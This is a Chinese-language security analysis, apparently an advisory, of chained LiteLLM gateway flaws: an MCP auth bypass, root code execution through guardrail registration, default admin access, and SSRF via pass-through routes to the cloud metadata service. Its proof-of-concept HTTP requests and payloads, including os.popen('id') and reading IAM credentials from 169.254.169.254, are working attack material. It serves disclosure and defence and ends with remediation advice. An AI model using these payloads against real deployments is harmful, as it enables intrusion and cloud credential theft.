你的 AI 閘道正在裸奔?
摘要
1. 背景:LiteLLM 作為單一信任點
LiteLLM 以兩種模式運作:一是 Python SDK,可直接整合到應用程式;二是代理/閘道模式,對外提供統一的 OpenAI 相容 API,並在百餘個 LLM 供應商前端強制執行預算控制、虛擬 API 金鑰,以及防護政策。由於 proxy 會終止每一個 inbound request、儲存每一個供應商認證、在每次推論呼叫時執行伺服器端 Python,並且能透過 Model Context Protocol(MCP)橋接到外部工具,因此一個被入侵的 instance 很少僅限於 API key 外洩 — 它是進入該容器可觸及的更廣大雲端環境的立足點。
一項針對約 3,000 個對外暴露的 LiteLLM 部署所做的掃描發現,9.6% 接受文件記載的預設 master key(
sk-1234
)或完全不需要認證,其中 6.2% 完全沒有任何認證 [1]。master key 不僅是管理員認證;它同時也兼作簽署 session JWT 所用的 HS256 secret,而且它仍是專案快速入門指南與 Docker Compose 檔案中從頭到尾顯示的範例值 [2]。這種單一 secret 的設計,正是底下所分析每一條提權路徑背後的根本結構性弱點。
2. MCP 認證繞過(CVE-2026-59822)
MCP endpoint 使用與 LiteLLM 主要認證路徑不同的 handler,原本設計是要同時支援兩種認證類型:原生 LiteLLM API key,以及原本打算 pass through 給上游 MCP 伺服器(例如由 GitHub 或 Atlassian 支援的伺服器)的 OAuth2 token。設計意圖是無效的 LiteLLM key 應該單純被當成不透明的 OAuth2 token 轉送,交由上游伺服器判斷。但實作卻把驗證失敗當成隱含的認證成功。
- # user_api_key_auth_mcp.py — fallback branch triggered on ANY Bearer token
- # that fails native LiteLLM key validation (i.e. every "normal" bearer
- # request that isn't a valid LiteLLM key).
- elif oauth2_headers:
- try:
- validated_user_api_key_auth = await user_api_key_auth(
- api_key=litellm_api_key, request=request
- )
- except HTTPException as e:
- if e.status_code in (401, 403):
- # BUG: instead of forwarding the token or rejecting the request,
- # an empty (unauthenticated) auth object is silently returned,
- # granting a valid session with no credential check at all.
- validated_user_api_key_auth = UserAPIKeyAuth() # bypass
- else:
- raise
- POST /mcp/ HTTP/1.1
- Host: <target>:4000
- Authorization: Bearer a # single-character garbage token
- Content-Type: application/json
- Accept: application/json, text/event-stream
- {"jsonrpc":"2.0","method":"initialize","id":1,
- "params":{"protocolVersion":"2025-03-26","capabilities":{},
- "clientInfo":{"name":"attacker","version":"1.0"}}}
- # -> HTTP 200: a valid mcp-session-id is issued even though "a" was
- # never a real LiteLLM key or a real upstream OAuth2 token.
一旦進入,攻擊者就取得完整的 MCP 協定介面,而不只是讀取權限 — 包括以任意參數呼叫工具。這是否能觸及資料庫、內部 wiki 或 CI/CD pipeline,取決於組織如何設定它的 MCP 伺服器;LiteLLM 自己的文件針對「低風險」內部工具所推薦的
allow_all_keys
flag,會讓這類伺服器也能被這個空的、被繞過的認證觸及。
3. 認證後透過客製化程式碼 Guardrail 的 root 權限 RCE(CVE-2026-59821)
Guardrail 讓管理員定義在每次推論 request 時執行的類 Python 邏輯。Web UI 的「Run Test」按鈕會強制執行沙箱:它會依據禁止樣式清單檢查送出的程式碼,並在執行前清空
__builtins__
。但另一個註冊 endpoint
POST /guardrails
兩項控制都沒有套用。
- # custom_code_guardrail.py — _compile_custom_code()
- exec_globals = get_custom_code_primitives().copy()
- # BUG: unlike the test endpoint, __builtins__ is never stripped here,
- # so Python repopulates it automatically and the submitted code gets
- # the full standard library (import, os, subprocess, etc.) with no
- # forbidden-pattern check applied first.
- exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)
- POST /guardrails HTTP/1.1
- Authorization: Bearer <master_key>
- {"guardrail":{"guardrail_name":"rce-poc","litellm_params":{
- "guardrail":"custom_code","mode":"pre_call","default_on":true,
- "custom_code":"import os\n_cmd = os.popen('id').read().strip()\n
- def apply_guardrail(inputs, request_data, input_type):\n
- return {\"action\": \"block\", \"reason\": _cmd}"}}}
- # The command executes immediately at registration time (during module
- # initialization), before any chat request is even made. A subsequent
- # chat completion simply surfaces the stored result as the block reason:
- # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)..."
os.popen('id')
的註冊 payload。
由於這個有漏洞的 endpoint 只需要有效的 API key,而非管理員角色,實務上的問題就變成攻擊者一開始能多輕易取得管理員層級存取 — 這正是接下來兩項發現要處理的。
4. 預設即未認證的管理員
當沒有設定 master key(也沒有 JWT/OAuth2)時,LiteLLM 的認證 handler 過去會把
PROXY_ADMIN
角色指派給每一個 inbound request,而不只是讓它未認證通過。雪上加霜的是,即使設定了 master key,guardrail 的 CRUD endpoint 與 config-update endpoint 都沒有檢查該角色 — 任何有效的 API key 就足夠。再加上第 1 節所討論的 master key 暴露,這意味著在相當比例的對外暴露部署中,guardrail RCE 實際上完全不需要事先取得任何認證就能觸及。
5. 認證後透過 Pass-Through Endpoint 的雲端認證竊取
LiteLLM 讓管理員定義 pass-through 路由,將 request 轉送到任意目標 URL,且不針對私有 IP 範圍、localhost 或雲端 metadata service 做任何驗證。再加上預設或被繞過的 master key,這就把管理介面變成直通該 instance 雲端身分的路徑。
- # Step 1: register a pass-through route pointed at the instance metadata service
- POST /config/pass_through_endpoint HTTP/1.1
- Authorization: Bearer <master_key>
- {"path": "/meta", "target": "http://169.254.169.254/latest/",
- "headers": {}, "include_subpath": true}
- # Step 2: read the temporary IAM credentials for the attached role
- GET /meta/meta-data/iam/security-credentials/<role_name> HTTP/1.1
- Authorization: Bearer <master_key>
- -> {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..."}
- # Any header prefixed "x-pass-" is forwarded with the prefix stripped,
- # e.g. x-pass-X-aws-ec2-metadata-token-ttl-seconds becomes
- # X-aws-ec2-metadata-token-ttl-seconds at the target — defeating the
- # IMDSv2 token-based protection as well as IMDSv1.
這項功能本身在 LiteLLM 的威脅模型中並不被歸類為漏洞,因為該模型把管理員視為本質上可信任;安全問題具體出現在它與預設認證或第 2 節所述的認證繞過結合時,實務上打破了那項信任假設。
6. 討論:閘道作為雲端攻擊介面
這些發現都可追溯到相同的結構模式:原本限定於可信操作者的功能,在沒有操作者的情況下也能被存取,原因是驗證機制退化成單一 shared secret,而非分層且具角色感知的檢查(Role-aware check)。這個模式並非 LiteLLM 獨有。透過未驗證的對外 request 進行 metadata service 外洩,是攻擊者在 cloud workload 中取得任意程式碼執行或代理立足點後的慣用技巧,這個模式在更廣泛針對雲端身分系統的認證竊取行動中也曾被記錄( 一份關於初始雲端存取後 IAM 認證濫用的分析 )。同樣地,這裡 MCP 層的暴露,也與其他在別處報導過的 MCP 特有弱點並列,包括嵌入工具描述中的 prompt-injection 向量( 一份關於 MCP prompt-injection 風險的報告 ),以及 MCP client 元件中由不受信任伺服器連線觸發的另一個遠端程式碼執行瑕疵( 一份關於 mcp-remote RCE 漏洞的技術解析 )。綜合來看,這些案例支持把 AI 閘道與 MCP 基礎設施視為第一級安全資產,而非開發者便利工具,因為它們把認證、程式碼執行路徑與內部工具存取集中到單一 process 中。
7. 修補建議
-
以強大、唯一的 secret 取代預設 master key;絕對不要在生產環境留下
sk-1234。 - 升級到已修補的版本後,重新啟動 proxy 並稽核已註冊的 guardrail,找出非預期的項目。
-
稽核並限制 pass-through endpoint 的目標,並在不需要時封鎖容器對
169.254.169.254的對外連線。 - 對閘道的服務身分套用最小權限的 IAM 角色,讓被入侵的 instance 造成的橫向觸及降到最低。
結論
這裡所分析的鏈展示了單一被忽略的例外 handler、一條程式碼路徑上缺失的沙箱檢查、一項預設管理員指派,以及一個未驗證的 proxy 目標,如何複合成一條從畸形 HTTP header 到 root 權限程式碼執行與雲端 IAM 入侵的路徑。當 AI 閘道在同一個地方累積認證、執行權限與工具存取時,它們的認證與授權邏輯就值得獲得歷來保留給 Identity provider 與雲端控制平面(control plane)的同等檢視。